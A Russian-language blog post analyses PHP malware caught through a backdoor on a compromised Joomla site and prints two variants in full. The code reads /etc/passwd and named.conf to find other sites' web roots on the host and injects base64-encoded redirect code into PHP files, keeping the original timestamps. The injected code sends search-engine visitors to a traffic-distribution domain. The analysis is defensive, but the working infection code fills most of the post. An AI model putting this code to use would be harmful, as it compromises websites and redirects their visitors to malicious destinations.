Выложу код, который подпихивают на исполнения уже для целевого заражения конкретных файлов сайта, на котором был внедрён скрипт banner.php, который выполняет переданный ему закодированный код (у меня это был /components/com_contact/banner.php)
К сожалению по логам не отследил самое главное – каким образом этот banner.php вообще попадает на сайт 🙁
Обновление движка до актуальной версии вроде как закрыло дыру (больше на сайте они не появляются)
В общем отследив бэкдорчик мне стало интересно, какой же именно код ему передают на выполнение – соответственно я чуток поправил код скрипта, заменив выполнение кода, на его сохранение в файлик для дальнейшего разбора …. и буквально сегодня ночью рыбка клюнула.
Не буду тянуть, вот код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
echo “zzzzz”; $code=‘ error_reporting(0); $qazplm=headers_sent(); $referer=$_SERVER[\’HTTP_REFERER\’]; if (!$qazplm){ $uag=$_SERVER[\’HTTP_USER_AGENT\’]; if ($uag) { if (!stristr($uag,”MSIE 7.0″)){ if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) { if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){header(“Location: http://1letojdj.sellClassics.com/”); exit(); } } } } }’; function makechange ($path,$code){ if (is_writable($path)) { if (is_file($path)) { if (stristr($path,“.php”) and !stristr($path,“post”) and !stristr($path,“movie”) and !stristr($path,“banner”) and !stristr($path,“img”)){ $fo=file_get_contents ($path); if (!stristr($fo,“base64”)) { $aa=filectime ($path); $fi=preg_replace(“/<\?php/”,“<?php eval(base64_decode(\””.base64_encode($code).“\”));”,$fo); $fro=fopen($path,“w”); fwrite ($fro,$fi); fclose ($fro); @touch ($path,$aa); echo $path.“\n”; }else { $aa=filectime ($path); $fi=preg_replace(“/eval\(base64_decode\(\“(.*?)\”/”,“eval(base64_decode(\””.base64_encode($code).“\””,$fo); $fro=fopen($path,“w”); fwrite ($fro,$fi); fclose ($fro); @touch ($path,$aa); echo $path.“\n”; } } } } } if ($named=@file_get_contents(“/etc/named.conf”)) { }elseif($named=@file_get_contents(“/var/named/etc/named.conf”)) { }elseif($named=@file_get_contents(“/etc/bind/named.conf”)) { }elseif($named=@file_get_contents(“/etc/namedb/named.conf”)) { }elseif($named=@file_get_contents(“/var/named/etc/namedb/named.conf”)) { }else { exec (“locate named.conf”,$out); //echo $out; //print_r ($out); if ($out[0]) { preg_match_all (“/(.*?) /”,$out[0],$match); //print_r ($match); foreach ($match[1] as $mo) { if (stristr($mo,“conf”)) { $named=file_get_contents ($mo); } } } } if ($named) { preg_match_all (“/zone \”(.*?)\”/”,$named,$namat); //print_r ($namat); if ($namat[1]) { $passwd=file_get_contents(“/etc/passwd”); if ($passwd) { preg_match_all (“/(\:\:|\&\:)(.*?)\:/”,$passwd,$matko); //print_r ($matko); if ($matko[2]) { foreach ($matko[2] as $mu) { if (stristr($mu,“home”)) { $userdirs[]=$mu; } } if ($userdirs) { foreach ($userdirs as $userdir) { foreach ($namat[1] as $domain) { $docdir=$userdir.“/domains/”.$domain.“/public_html”; if (is_dir($docdir)) { $docdirs[]=$docdir; //break; } } } } } } } } else { echo “no name”; } //print_r ($docdirs); if ($docdirs) { foreach ($docdirs as $docdir) { if ($dh = opendir($docdir)) { while (($file = readdir($dh)) !== false) { if ($file != “.” && $file != “..”) { $path=$docdir.“/”.$file; if (is_dir($file)&&is_writable($file)) { if ($dhh = opendir($path)) { while (($filez = readdir($dhh)) !== false) { if ($filez != “.” && $filez != “..”) { $path2=$path.“/”.$filez; makechange ($path2,$code); } } closedir($dhh); } } makechange ($path,$code); } } closedir($dh); } } } exit; |
Что же делает данный скрипт?
Ответ прост – пытается везде где только сможет сделать инъекцию следующего кода (предварительно его закодировав)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
error_reporting(0); $qazplm=headers_sent(); $referer=$_SERVER[‘HTTP_REFERER’]; if (!$qazplm){ $uag=$_SERVER[‘HTTP_USER_AGENT’]; if ($uag) { if (!stristr($uag,“MSIE 7.0”)){ if (stristr($referer,“yahoo”) or stristr($referer,“bing”) or stristr($referer,“rambler”) or stristr($referer,“gogo”) or stristr($referer,“live.com”)or stristr($referer,“aport”) or stristr($referer,“nigma”) or stristr($referer,“webalta”) or stristr($referer,“begun.ru”) or stristr($referer,“stumbleupon.com”) or stristr($referer,“bit.ly”) or stristr($referer,“tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,“myspace.com”) or stristr($referer,“facebook.com”) or stristr($referer,“aol.com”)) { if (!stristr($referer,“cache”) or !stristr($referer,“inurl”)){header(“Location: http://1letojdj.sellClassics.com/”); exit(); } } } } } |
Какая же функция данной инъекции?
А функция довольно интересна – это перенаправление поискового трафика на систему управления трафиком http://1letojdj.sellClassics.com/ которая уже в свою очередь будет кидать туда, куда хозяин направит.
Если зайти на зараженный сайт не с поисковика – никаких вредоносных действий не будет предприниматься, соответственно владелец заражение своего сайта заметит не сразу.
Так же я ещё имел опыт с заражением .htaccess аналогичным функционалом – только перенаправлял он мобильный трафик с помощью mod_rewrite директив.
Тут подробнее.
P.S.
Ещё одна модификация этого же скрипта
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
$code=‘ error_reporting(0); $qazplm=headers_sent(); $referer=$_SERVER[\’HTTP_REFERER\’]; if (!$qazplm){ $uag=$_SERVER[\’HTTP_USER_AGENT\’]; if ($uag) { if (!stristr($uag,”MSIE 7.0″)){ if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) { if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){header(“Location: http://1letojdj.sellClassics.com/”); exit(); } } } } }’; function makechange ($path,$code){ if (is_writable($path)) { if (is_file($path)) { if (stristr($path,“.php”) and !stristr($path,“banner”) and !stristr($path,“movie”) and !stristr($path,“post”) and !stristr($path,“img”)){ $fo=file_get_contents ($path); if (!stristr($fo,“base64”)) { $aa=filectime ($path); $fi=preg_replace(“/<\?php/”,“<?php eval(base64_decode(\””.base64_encode($code).“\”));”,$fo); $fro=fopen($path,“w”); fwrite ($fro,$fi); fclose ($fro); @touch ($path,$aa); echo $path.“\n”; }else { $aa=filectime ($path); $fi=preg_replace(“/eval\(base64_decode\(\“(.*?)\”/”,“eval(base64_decode(\””.base64_encode($code).“\””,$fo); $fro=fopen($path,“w”); fwrite ($fro,$fi); fclose ($fro); @touch ($path,$aa); echo $path.“\n”; } } } } } set_time_limit(0); $a=“wp-config.php blog/wp-config.php wp/wp-config.php settings.php wp-settings.php config.php conf.php db.php global.php globals.php mysql.php configuration.php index.php index2.php includes/defines.php engine/data/config.php engine/data/dbconfig.php engine/engine.php components/com_content/content.php templates/ja_purity/index.php templates/phoca/index.php templates/rhuk_milkyway/index.php templates/system/index.php includes/configure.php”; $b=split(“\n”,$a); set_time_limit(0); $pubdir=“/public_html/”; $etc=file_get_contents(“/etc/passwd”); $etc=split(“\n”,$etc); foreach ($etc as $et) { $et=split (“:”,$et); foreach ($b as $bb) { $path=$et[5].$pubdir.trim($bb); if (is_writable($path)) { if (stristr($path,“php”)){ makechange ($path,$code); touch ($path,$aa); } } echo $path.“\n”; } } |